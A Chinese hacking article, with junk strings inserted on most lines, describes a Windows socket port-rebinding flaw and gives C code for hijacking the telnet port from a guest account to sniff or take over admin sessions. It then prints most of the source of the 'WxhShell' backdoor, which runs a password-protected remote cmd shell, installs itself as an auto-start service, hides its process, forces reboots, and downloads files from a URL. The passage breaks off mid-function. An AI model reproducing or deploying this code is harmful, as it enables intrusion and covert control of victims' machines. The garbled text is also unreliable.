在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
;'n%\*+fHH s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
+;KUL6 kXwAw]ogN saddr.sin_family = AF_INET;
c4tw)O-X 9Y:I)^ek saddr.sin_addr.s_addr = htonl(INADDR_ANY);
3x+lf4" ZbYC3_7w bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
=0g!Q 9p W~Gz 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
zr.\7\v 6<];}M_{ 这意味着什么?意味着可以进行如下的攻击:
H
-Mb:4 PAYw:/(P 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
O+}py{ st |H?t+Dyn)q 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
t eY@)F duY?LJ @g 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
4Hj)Av<O( c;VqEpsbl 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
'Lrn< 6m:$mhA5 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
}(nT(9| !?P8[K 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
xuK"pS \?xM%(:<Q 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
V"YeF:I A(FnU: #include
FCEy1^u #include
%~!4DXrMk #include
1+FVM\<& #include
q?}C`5%D DWORD WINAPI ClientThread(LPVOID lpParam);
k[r^@| int main()
vE:*{G;Y {
keAoJeG,J WORD wVersionRequested;
EQm{qc; DWORD ret;
&: Q'X WSADATA wsaData;
a^R?w|zCX BOOL val;
Bh3F4k2bg7 SOCKADDR_IN saddr;
}>@\I^Xm, SOCKADDR_IN scaddr;
!Km[Qw
k- int err;
eYUb>M) SOCKET s;
V]zc-gYI SOCKET sc;
&<F9Z2^ int caddsize;
l_h:S`z. HANDLE mt;
:ppaq DWORD tid;
I&1Lm)W& wVersionRequested = MAKEWORD( 2, 2 );
YYe G9yR err = WSAStartup( wVersionRequested, &wsaData );
P.]h`4 if ( err != 0 ) {
=^4Z]d printf("error!WSAStartup failed!\n");
;st0Ekni) return -1;
r<vMp'u }
ZNQx;51 saddr.sin_family = AF_INET;
5CY%h [neuwdN //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
E5ce=$o "-Q+!byh saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
/lBK )( saddr.sin_port = htons(23);
~lj[> |\Oj if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
E 2nz {
? o"
Vkc: printf("error!socket failed!\n");
W"NI^OX return -1;
K[z)ts- }
*Al@|5 val = TRUE;
>d + }$dB //SO_REUSEADDR选项就是可以实现端口重绑定的
X)b$CG if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
P[3i!"O> {
= ~1EpZ printf("error!setsockopt failed!\n");
r:H]`Uo'r return -1;
. &^p@A~ }
6w^P{%ul //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
( /]'e} //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Z8SwW<{ $ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
2v{WX FLi'}C if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
6<lo0PQ"Z {
x92^0cMf ret=GetLastError();
y]h0c<NP printf("error!bind failed!\n");
!..<_qfw return -1;
: K|
H/kht }
'PF>#X'' listen(s,2);
5u!\c(TJ+ while(1)
eEZgG=s {
f$lb.fy5 caddsize = sizeof(scaddr);
0S{23L4C //接受连接请求
-|.NwGh sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
8 .%0JJ .3 if(sc!=INVALID_SOCKET)
`!]|lI!GW {
{7M++J= mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
37hdZt., if(mt==NULL)
a-NTA {
}Ng P`m printf("Thread Creat Failed!\n");
Rc1j^S;> break;
eCGr_@1 }
8['R D`O }
.+:iAnf CloseHandle(mt);
Q#eMwM#~ }
T[\1=h] closesocket(s);
HI8mNX3 "j WSACleanup();
'`jGr+K,wU return 0;
Z[?n{vD7 }
-XBZ1q DWORD WINAPI ClientThread(LPVOID lpParam)
!5ps,+o {
Os9SfL SOCKET ss = (SOCKET)lpParam;
s)-oCT$[ SOCKET sc;
TQ"XjbhU;X unsigned char buf[4096];
Q"&Mr+ SOCKADDR_IN saddr;
V*?cMJ_G long num;
F^%w%E\ DWORD val;
_b&|0j:Ud DWORD ret;
~,)jZ-fw //如果是隐藏端口应用的话,可以在此处加一些判断
6W
i
n!4 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
ZM<6yj"f saddr.sin_family = AF_INET;
0*{(R# saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Q|_F
P: saddr.sin_port = htons(23);
~]KdsT(=_ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
&=@{`2& {
zD{]3pg printf("error!socket failed!\n");
4(Lmjue]? return -1;
D$ds[if$U, }
7H Har'=T val = 100;
u^2`$W if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
alb3oipOB {
Y%
iqSY ret = GetLastError();
@O#!W]6NT6 return -1;
ob7'''i }
VX)8pV$ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
-`L`kL< {
l(>6Yq ret = GetLastError();
a{8a[z return -1;
Sz0PZtJ }
_o~ pVBl/ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
kvbZx{s {
!JCs'?A
printf("error!socket connect failed!\n");
Wb}-H-O closesocket(sc);
/2K"Mpf8 closesocket(ss);
K6v~!iiK$ return -1;
I5"wa:Z }
^+(5[z while(1)
Q>1BOH1by {
Z=Y29V8 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
<nk|Z'G E //如果是嗅探内容的话,可以再此处进行内容分析和记录
Nc+0_|, //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
>G`p T# num = recv(ss,buf,4096,0);
hUMG}< if(num>0)
c9/w{}F send(sc,buf,num,0);
JH?ohA else if(num==0)
Cv#aBH'N break;
T~UDD3 num = recv(sc,buf,4096,0);
+5y^c|L0 if(num>0)
";/]rwHa) send(ss,buf,num,0);
}c,b]!: else if(num==0)
TEV DES break;
#0AyC.\ }
)\+Imn closesocket(ss);
T}Tv}~!f closesocket(sc);
ucl001EK return 0 ;
x;vfmgty }
$0Y`>3 Z %pc" vobC/m ==========================================================
%FjUtB *BKD5EwS 下边附上一个代码,,WXhSHELL
`EKf1U\FI +`>7cy%cZ ==========================================================
!S?Fz] $yO B- #include "stdafx.h"
t24`*' Qa2h#0j #include <stdio.h>
}IygU 6{G #include <string.h>
Dw
i-iA_q #include <windows.h>
0AM_D >fH #include <winsock2.h>
FVXsu!R #include <winsvc.h>
+yL; ?+s>= #include <urlmon.h>
O*N:A[eW ? 2}%Rb39 #pragma comment (lib, "Ws2_32.lib")
S?v/diK ]J #pragma comment (lib, "urlmon.lib")
9a_P 9s3w Yc#Uu8f- #define MAX_USER 100 // 最大客户端连接数
9R=avfI #define BUF_SOCK 200 // sock buffer
W ^<AUT #define KEY_BUFF 255 // 输入 buffer
U5"u
h} 3 j~'.XD={ #define REBOOT 0 // 重启
Hzz{wY #define SHUTDOWN 1 // 关机
k8 #8)d TQB)
A9 #define DEF_PORT 5000 // 监听端口
$:s@nKgnD~ bidFBldKl #define REG_LEN 16 // 注册表键长度
s9C^Cy^su #define SVC_LEN 80 // NT服务名长度
0H_Ai=G qT?{}I // 从dll定义API
P(PBOB97 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
x(c+~4:_M typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
nWK8.&{. typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
HxbzFu?h typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
%lj5Olj D5"5`w=C // wxhshell配置信息
jI,[(Z> struct WSCFG {
hk
!=ZE3 int ws_port; // 监听端口
Yo %U{/e char ws_passstr[REG_LEN]; // 口令
7~2_'YX>: int ws_autoins; // 安装标记, 1=yes 0=no
th{J;a char ws_regname[REG_LEN]; // 注册表键名
U)dcemQY char ws_svcname[REG_LEN]; // 服务名
8*-)[+s9il char ws_svcdisp[SVC_LEN]; // 服务显示名
45 biy(qa char ws_svcdesc[SVC_LEN]; // 服务描述信息
X1w11Z7o char ws_passmsg[SVC_LEN]; // 密码输入提示信息
$z!G%PO1% int ws_downexe; // 下载执行标记, 1=yes 0=no
H:~bWd'iz char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
8cO?VH,nk char ws_filenam[SVC_LEN]; // 下载后保存的文件名
1e\cJ{B [>NMuwtG };
%Za}q]? _sy{rnaqvb // default Wxhshell configuration
4`?PtRX struct WSCFG wscfg={DEF_PORT,
5 =;cN9M@ "xuhuanlingzhe",
ztU"CRa8 1,
qX}3}TL "Wxhshell",
o?ug`m" "Wxhshell",
@.sn "WxhShell Service",
pCkMm)2g! "Wrsky Windows CmdShell Service",
4$^mLD$> "Please Input Your Password: ",
U_VP\ 03 1,
F,vkk{Z> "
http://www.wrsky.com/wxhshell.exe",
@*rMMy 4 "Wxhshell.exe"
|2'WSAWG };
{
{?-&
yA w!UF^~ // 消息定义模块
^.J_ w char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
SB%D%Zx6'% char *msg_ws_prompt="\n\r? for help\n\r#>";
POk5+^ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
=.s0"[% char *msg_ws_ext="\n\rExit.";
pwMA,X/{ char *msg_ws_end="\n\rQuit.";
cPcH
8Vd char *msg_ws_boot="\n\rReboot...";
i>S@C@~ char *msg_ws_poff="\n\rShutdown...";
*Y85evq char *msg_ws_down="\n\rSave to ";
09McUR@ Ep-bx&w+ char *msg_ws_err="\n\rErr!";
p+g=Z<?` char *msg_ws_ok="\n\rOK!";
}S iR;2W glC,E> char ExeFile[MAX_PATH];
(?A
c`H int nUser = 0;
4!14:mq HANDLE handles[MAX_USER];
f:3cV(mC int OsIsNt;
e
oE)Mq xqSZ{E: SERVICE_STATUS serviceStatus;
?"'+tZ=f6 SERVICE_STATUS_HANDLE hServiceStatusHandle;
&wDZ@{h <e! TF@ // 函数声明
KxErWP% int Install(void);
gjsks(x int Uninstall(void);
e<+)IW: int DownloadFile(char *sURL, SOCKET wsh);
E3a^"V3p int Boot(int flag);
ok6t|
7sq void HideProc(void);
Gt{%O>P8t int GetOsVer(void);
{_tq6ja-< int Wxhshell(SOCKET wsl);
0J?443AY void TalkWithClient(void *cs);
@V>]95RX int CmdShell(SOCKET sock);
|./:A5_h int StartFromService(void);
PM!JjMeQh int StartWxhshell(LPSTR lpCmdLine);
U
_pPI$ = OfrzmL<K VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
v,opyTwG| VOID WINAPI NTServiceHandler( DWORD fdwControl );
$<nD-4p O!>#q4&] // 数据结构和表定义
xVsI#`<a SERVICE_TABLE_ENTRY DispatchTable[] =
h% >ZN-K) {
#Ey_.4S {wscfg.ws_svcname, NTServiceMain},
LawE3CD {NULL, NULL}
qJ5b;= };
)
YB'W_ 2iKteJ@h) // 自我安装
}!xc@ int Install(void)
MMO/vJC {
'-(Z.e~e char svExeFile[MAX_PATH];
E4=D$hfq` HKEY key;
7
2i&-`&4 strcpy(svExeFile,ExeFile);
1
jLQij pzt<[; // 如果是win9x系统,修改注册表设为自启动
_x|R`1` if(!OsIsNt) {
:CqR1_n% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
E<D^j^T RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
kXdXyq RegCloseKey(key);
,f%4xXI if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
d_ :f- RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
@r<2]RXlc RegCloseKey(key);
^fN/ return 0;
Uo9@Y{<B }
@ o<OI }
[g`4$_9S }
%<+Ku11 else {
oR%cG"y L{1[:a)']B // 如果是NT以上系统,安装为系统服务
$ r-rIW5\ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
PDH|=meXM if (schSCManager!=0)
4h?@D_{k {
daCkjDGl\ SC_HANDLE schService = CreateService
[T9]q8" (
C[{E8Tg/ schSCManager,
H6 ,bpjY wscfg.ws_svcname,
) iV^rLwL wscfg.ws_svcdisp,
>bI\pJ SERVICE_ALL_ACCESS,
pm9sI4S SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
A.yIl`'UP# SERVICE_AUTO_START,
t(vyi SERVICE_ERROR_NORMAL,
\'zloBU svExeFile,
1}Guhayy NULL,
GB Vqc!d NULL,
3QXsr< NULL,
a;a1>1 NULL,
}s"].Xm^2 NULL
C \5yo );
nxEC6Vh' if (schService!=0)
-ert42fN {
,+Ocb-* CloseServiceHandle(schService);
3=?,Dv0P CloseServiceHandle(schSCManager);
[uJS.`b strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
)x?)v#k strcat(svExeFile,wscfg.ws_svcname);
W@zxGH$z> if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
mm*nXJ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
`tuGy}S2
RegCloseKey(key);
U)iBeYW: return 0;
.i )n1 }
0,&] 2YJ }
Jq"3xj CloseServiceHandle(schSCManager);
YADXXQ" }
xEq? [M }
BbCW3!( jrS$!cEo return 1;
:}q)]W }
v=dK2FaY gw">xt5 // 自我卸载
4M0p:Ey ' int Uninstall(void)
;*+H& {
!M)] 1Y HKEY key;
uT=5zu Z;tWV%F5 if(!OsIsNt) {
~$//4kES if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
S|KUh|=Q RegDeleteValue(key,wscfg.ws_regname);
{md5G$*% RegCloseKey(key);
MLiaCG; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
hhWy-fP#
RegDeleteValue(key,wscfg.ws_regname);
p Djt\R<f RegCloseKey(key);
y\CxdTs return 0;
-s)h
?D }
Gr}NgyT<!D }
B+jh|@- }
8$ RiFD, else {
B>I:KGkV _d^d1Q}V SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
I (k(p\l% if (schSCManager!=0)
$tc1te {
|#BN!kc SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
^xScVOdP if (schService!=0)
Hj `\Fm*A {
cdGBo4 if(DeleteService(schService)!=0) {
V_e CloseServiceHandle(schService);
N9*QQ0 CloseServiceHandle(schSCManager);
I\M
}Dxpp return 0;
]Nssn\X7 }
TI2K_' CloseServiceHandle(schService);
j,
*=D6 }
+~P_o_M CloseServiceHandle(schSCManager);
~>_UTI }
Brd9"M|d }
PRBlf =w:)AWZ return 1;
o9C#5%9 }
+M#}(hK O:~J_Wwl! // 从指定url下载文件
WWOt>C~zV int DownloadFile(char *sURL, SOCKET wsh)
^B}q@/KV {
U9Ea}aN HRESULT hr;
M
'%zA;Wl char seps[]= "/";
$Xu/P5 char *token;
M} ri>o char *file;
d.Ccc/1- char myURL[MAX_PATH];
Wi,)a{ char myFILE[MAX_PATH];
Akws I@@ k!bJ&} Q(b strcpy(myURL,sURL);
35x]' token=strtok(myURL,seps);
_ShWCU-~Z while(token!=NULL)
<c<!|<x {
mH\2XG8nV file=token;
2}*8( 32 token=strtok(NULL,seps);
xoGrXt9& }
]O~$|Wk Z( "-7_ GetCurrentDirectory(MAX_PATH,myFILE);
5:5d=7WX strcat(myFILE, "\\");
^
uwth strcat(myFILE, file);
<Ter\o5% send(wsh,myFILE,strlen(myFILE),0);
<9:~u]ixt send(wsh,"...",3,0);
u~JR]T hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Bc-/s(/Eq if(hr==S_OK)
B&1E&Cv_8 return 0;
*WFd[cKE
else
.N#KW return 1;
4M6[5RAW{ w-NTw2x,& }
Tdz#,]Q ;kR=vv // 系统电源模块
~v:IgS int Boot(int flag)
ufw[Ei$I: {
s5Wb iOF HANDLE hToken;
zKaj<Og TOKEN_PRIVILEGES tkp;
bC) <K/Q9 rce._w } if(OsIsNt) {
a"t~K OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
4%_xTo LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
.!i`YT*jF tkp.PrivilegeCount = 1;
wa`c3PQGu tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
>p;&AaXkoG AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
;KEie@Ry if(flag==REBOOT) {
k\dPF@~Hvl if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
JY;u<xl return 0;
I36%oA }
O?"uM >r else {
myqwU`s if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
R?tjobk! return 0;
+ 660/ e8N }
(ov&iNx }
"!eq~/nk else {
`CBXz!v!O if(flag==REBOOT) {
o61rTj if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
fgC@(dvfk return 0;
:qj;f];| }
QP%Hwt]+ else {
oe3=QE if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
8|L@-F return 0;
pjoyMHWK }
loE;q}^ }
esQ`6i UWK|_RT6SA return 1;
D@ !r?E` }
_IV!9 JL q"DHMZB // win9x进程隐藏模块
dxH\H?NO void HideProc(void)
x(4"!# {
V[WLS ?-) b353+7"| HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
C~"UOFX if ( hKernel != NULL )
2i
!\H$u` {
~F-lO1 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
SXO.|"M ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
I3'UrKKO FreeLibrary(hKernel);
ZitmvcMk }
~ISY( & :xbj&
l return;
=YfzB!ld }
j(K)CHH FUJ<gqL // 获取操作系统版本
%4V$')rek int GetOsVer(void)
26 1? 8&c {
jENC1T( OSVERSIONINFO winfo;
vW!O("\7K< winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
K=}Eupn= GetVersionEx(&winfo);
v&d'ABeT if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
2mMi=pv9 return 1;
,=c(P9}^ else
Q>9bKP return 0;
%X}vuE[[UC }
j8PeO&n> !>=lah$& // 客户端句柄模块
U /~uu int Wxhshell(SOCKET wsl)
q8;MPXSG3 {
4`fV_H.8 SOCKET wsh;
k'PvQl"I struct sockaddr_in client;
a^E>LJL DWORD myID;
$/5\Hg1 eOkiB!G. while(nUser<MAX_USER)
nHQ*#&$ {
.XRe:\8mc int nSize=sizeof(client);
i_l{#*t wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Gm9 if(wsh==INVALID_SOCKET) return 1;
9ZatlI, V[]Pya|s+ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
8O60pB;4 if(handles[nUser]==0)
8bs' Ek{'o closesocket(wsh);
kumo%TXB& else
RP[`\ nUser++;
Ex|Z@~T12 }
1^V.L+0s] WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Bg zq kdx06'4o return 0;
DHuvHK0# }
5} ur,0{ <sM_zoprc // 关闭 socket
U>bIQk"4 void CloseIt(SOCKET wsh)
'irwecd8 {
`
"-P g5 closesocket(wsh);
4GeN<9~YS nUser--;
t%5bDdo ExitThread(0);
[e@m-/B }
OI78wG in,0(I&I // 客户端请求句柄
)'e1@CR void TalkWithClient(void *cs)
O@W/s!&lFa {
ZWzr8oY) yV(9@lj3; SOCKET wsh=(SOCKET)cs;
-"a(<JC^NI char pwd[SVC_LEN];
+ZiYl[_| char cmd[KEY_BUFF];
m .(\u?J char chr[1];
1OMaY5F int i,j;
h&v].l 2_o\Wor# while (nUser < MAX_USER) {
9) $[W U:eX^LE7 if(wscfg.ws_passstr) {
<SOG?Lh~ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
,{msJyacmR //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
d)D!np= //ZeroMemory(pwd,KEY_BUFF);
&m[}%e%~0 i=0;
!g}@xwWax while(i<SVC_LEN) {
-aE,KQ F9r/
M"5 // 设置超时
F$|:'#KN fd_set FdRead;
;mz#$"( struct timeval TimeOut;
2Q@Jp`#,4 FD_ZERO(&FdRead);
PVdN)tG5 FD_SET(wsh,&FdRead);
~)>.%`v& TimeOut.tv_sec=8;
.
.S3-(xW TimeOut.tv_usec=0;
UzIE,A int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
>"b\$",~6 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
c93 Ok | &`vThs[x if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
kTT%<
e pwd
=chr[0]; #.fJ
M:"tG
if(chr[0]==0xd || chr[0]==0xa) { _s5FYb#
pwd=0; D)l\zs%ie
break; vlZmmQeJm
} [q_62[-X
i++; /L@o.[H
} re#]zc<
=A{'57yP
// 如果是非法用户,关闭 socket *)I^+zN
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >+.GBf<E
} Uam%u
3PL0bejaT7
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); m-;8O /
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }Y!s:w#
xN}f?
while(1) { F1B/cd
w'$>E4\
ZeroMemory(cmd,KEY_BUFF); k{b|w')
4x4[
// 自动支持客户端 telnet标准 <|X+T,
j=0; aK|
while(j<KEY_BUFF) { jOGiT|A
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 89{;R
cmd[j]=chr[0]; uR.pQo07y<
if(chr[0]==0xa || chr[0]==0xd) { 77aUuP7Iw
cmd[j]=0; QHUFS{G]
break; 'NfsAE
} 6-/W4L)?>
j++; qvGmJN0
} COw!a\Jl
ZF#n(Y?
// 下载文件 'Z9UqEGV
if(strstr(cmd,"http://")) { a MFUj+^
send(wsh,msg_ws_down,strlen(msg_ws_down),0); tQUKw@@Q
if(DownloadFile(cmd,wsh)) upZc~k!1\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #*"V'dj;e
else <&O*'
<6C
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a|4D6yUw|
} n&|N=zh
else { DcM/p8da
T\6,@7
switch(cmd[0]) { 1{d;Ngx
yI07E "9
// 帮助 Fn4yx~0
case '?': { O:T
49:R}r
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |*h{GX.(
break; |]?W`KN0
} 8f)pf$v`
// 安装 fi ~@J`
case 'i': { )t7MD(
if(Install()) GVn'p
Wg
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7
<]YK`a2d
else L2}<2
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gp $Rf9\
break; 4@<wN \'
} -JPkC(V7]
// 卸载 8@S]P0lk
case 'r': { 4tUt"N
if(Uninstall()) n4 N6]W\5
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #6[F&
else p8YOow7)
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q{b-2k
break; Lr6C@pI
} c{?SFwgd
// 显示 wxhshell 所在路径 ,C0y3pL
case 'p': { 6w
m-uu
char svExeFile[MAX_PATH]; D/4]r@M2c
strcpy(svExeFile,"\n\r"); I!1+#0SG
strcat(svExeFile,ExeFile); iTO Y
send(wsh,svExeFile,strlen(svExeFile),0); 5P\A++22Y
break; FU .%td=:
} QV\af
// 重启 6o9&FU
case 'b': { /z`tI
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \{~CO{II
if(Boot(REBOOT)) dvZlkMm
send(wsh,msg_ws_err,strlen(msg_ws_err),0); k2,`W2]^E
else { ,mi7WW9
closesocket(wsh); Mk973'K'
ExitThread(0); 9h)8Mq+M
} :~srl)|)
break; $ #GuV'
} yuJ>xsM
// 关机 '
;nG4+K
case 'd': { n$7*L9)(C
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); NW3qs`$-(
if(Boot(SHUTDOWN)) 8+".r2*_iO
send(wsh,msg_ws_err,strlen(msg_ws_err),0); fB,eeT1v?h
else { -Q?c'e
closesocket(wsh); 0a<h,s0"2
ExitThread(0); 8tna<Hx
} /7p(%vr
break; 41+WIa
L
} l`:u5\ rM
// 获取shell 1ZYo-a;)
case 's': { T:2f*!r
CmdShell(wsh); 3k(tv U+eC
closesocket(wsh); ?K2}<H-
ExitThread(0); cTRtMk%^
break; QUvSeNSp
} zF{~Md1
// 退出 >BK/HuS
case 'x': { `VUJW]wGu
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2 @T~VRy
CloseIt(wsh); R2C~.d_TDu
break; {[Y7h}7
} jrz.n4Y`
// 离开 'wMvO{}$
case 'q': { $o\z4_I
send(wsh,msg_ws_end,strlen(msg_ws_end),0); y&O?`"Uv/M
closesocket(wsh); AL,7rYZG$
WSACleanup(); e"bzZ!c&~V
exit(1); 7gB?rJHV,
break; ^ACrWk~UY
} J-uQF|
} |s(Ih_Zn
} l`A&LQ[
0rI/$
// 提示信息 ;bg]H >$U7
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Sf.OBU1rs
} " Y^9g/
} 6oZHSjC*
]o0]i<:
return; WvfM.D!
} g"kI1^[nj
tu* uQ:Ipk
// shell模块句柄 PUZcb+%]h
int CmdShell(SOCKET sock) .oT'(6#
{ S
~fz
STARTUPINFO si; =2=rPZw9
ZeroMemory(&si,sizeof(si)); yZgWFf.X
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
EStui>ho
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; xDH#K0-#L
PROCESS_INFORMATION ProcessInfo; j3N d4#
char cmdline[]="cmd"; N|>JLZ>
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xfI0P0+
return 0; i4h`jFS
} 9%NobT
^E8qI8s
// 自身启动模式 -mh"["L"
int StartFromService(void) ]$9y7Bhj.
{ Ml{
]{n
typedef struct 8-k`"QI=
{ 2fu<s^9dh
DWORD ExitStatus; :b %2qBv
DWORD PebBaseAddress; $0 vT_
DWORD AffinityMask; xf,A<j(o
DWORD BasePriority; Cc%{e9e*
